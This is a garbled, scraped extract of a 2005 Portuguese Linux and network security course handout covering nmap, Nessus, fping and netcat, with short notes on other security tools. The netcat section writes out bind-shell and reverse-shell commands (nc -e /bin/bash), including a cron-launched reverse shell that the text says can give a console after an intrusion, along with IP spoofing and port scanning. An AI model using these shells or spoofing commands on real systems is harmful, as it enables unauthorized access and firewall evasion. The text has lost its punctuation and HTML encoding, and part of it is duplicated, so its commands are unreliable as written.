ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 45: Curso de segurança em linux e redes em geral

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

